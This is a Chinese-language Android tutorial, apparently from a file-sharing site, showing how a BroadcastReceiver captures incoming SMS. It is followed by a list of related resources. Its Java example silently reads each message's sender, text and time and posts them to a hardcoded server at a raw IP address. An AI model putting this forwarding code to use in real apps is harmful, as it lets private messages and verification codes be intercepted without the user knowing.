BroadcastReceiver编写短信步骤:
第一步:在AndroidManifest.xml中配置接收短信的权限,以及仿问Intenet的权限
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>
第二步:订阅android系统短信广播,这一步的目的是只有通过订阅广播后,手机收到短信,才知道要执行哪个广播组件。
<!--
系统收到短信时,会发出一个action名称为android.provider.Telephony.SMS_RECEIVED的广播意图
当发出这个action后,如果与android:name="android.provider.Telephony.SMS_RECEIVED“这个名字相匹配,
则会执行MyBroadcast广播组件,MyBroadcast 这个类是继承BroadcastReceiver自己编写的类。->
<receiver android:name=".MyBroadcast">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
第三步:继承BroadcastReceiver编写MyBroadcast类,并重写onReceive()方法。
通过名称为pdus,就可以从上面的广播意图中获取短信的内容
public class MyBroadcast extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
//得到的是Object 数组 每条短信是以字节数据的形式存放
Object[] pduss = (Object[])intent.getExtras().get("pdus");
for(Object pdus : pduss){
byte[] pdumessage = (byte[])pdus;
SmsMessage sms = SmsMessage.createFromPdu(pdumessage);
String phone = sms.getOriginatingAddress();
String content = sms.getMessageBody();
Date date = new Date(sms.getTimestampMillis());
SimpleDateFormat sDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String sendtime = sDateFormat.format(date);
//将短信放在map容器中
Map<String, String> map = new HashMap<String, String>();
map.put("phone",phone);
map.put("content",content);
map.put("sendtime", sendtime);
String path="http://218.67.59.20:8080/test/index.jsp";
try {
//将短信发送到path路径的服务端,在服务端就可以通过参数获取短信内容
SmsToWeb.post(path, map, "UTF-8");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}
分享到:
相关推荐
Android下BroadcastReceiver的简单示例。详见博客:http://www.cnblogs.com/plokmju/p/android_BroadcastReceiver.html
Android \BroadCastReceiver 最全的简介
主要为大家详细介绍了Android BroadcastReceiver接收收到短信的广播,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
动态注册broadcastreceiver短信接受
一般来说,都是在一个Activity启动的时候使用这样的方法注册BroadcastReceiver,一旦接收到广播的事件,就可以在onReceive方法当中更新当前的这个Activity当中的控件。但是需要注意的是如果这个Activity不可见了,就...
Android BroadcastReceiver
Android-BroadcastReceiver高级应用,详细参见博客:http://www.cnblogs.com/plokmju/p/android_SystemBroadcastReceriver.html
主要为大家详细介绍了Android使用BroadcastReceiver监听网络连接状态的改变,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
android BroadcastReceiver 源码 学习
Android学习之BroadcastReceiver总结
主要介绍了Android使用BroadcastReceiver实现手机开机之后显示画面的功能,结合实例形式分析了BroadcastReceiver的具体使用技巧及实现开机画面的相关功能代码,需要的朋友可以参考下
Android中BroadcastReceiver的创建与使用步骤.pdf 学习资料 复习资料 教学资源
自己写的一个短信接收,根据短信内容跳出相应的GIF,其中GIF用的网上大神代码,百度即可搜到,感谢大神,对了用studio写的
实现手机短信监听的方式有两种:一是通过ContentObserver观察者实现监听,另一种就是通过广播即BroadcastReceiver实现短信监听,文章中通过使用BroadcastReceiver实现有新短信的及时监听及包含设定的关键字时自动...
Android中BroadcastReceiver的定义.pdf 学习资料 复习资料 教学资源
android BroadcastReceiver相关测试代码。我测试所用的。
本集中提到的BroadcastReceiver就是此应用的典范。Android通过广播机制,能够让订阅者接受到想听到的广播,并进行进一步的处理和操作。如果你想在虚拟的android世界中创建属于你自己的电台广播,那么就赶紧点击本集...
Android移动开发检测网络状态并使用BroadcastReceiver(广播接收者)进行接收网络变化的后续处理
Android中使用BroadcastReceiver接收手机电池状态的代码清单.pdf 学习资料 复习资料 教学资源
Android中使用BroadcastReceiver接收手机电池状态的任务要求.pdf 学习资料 复习资料 教学资源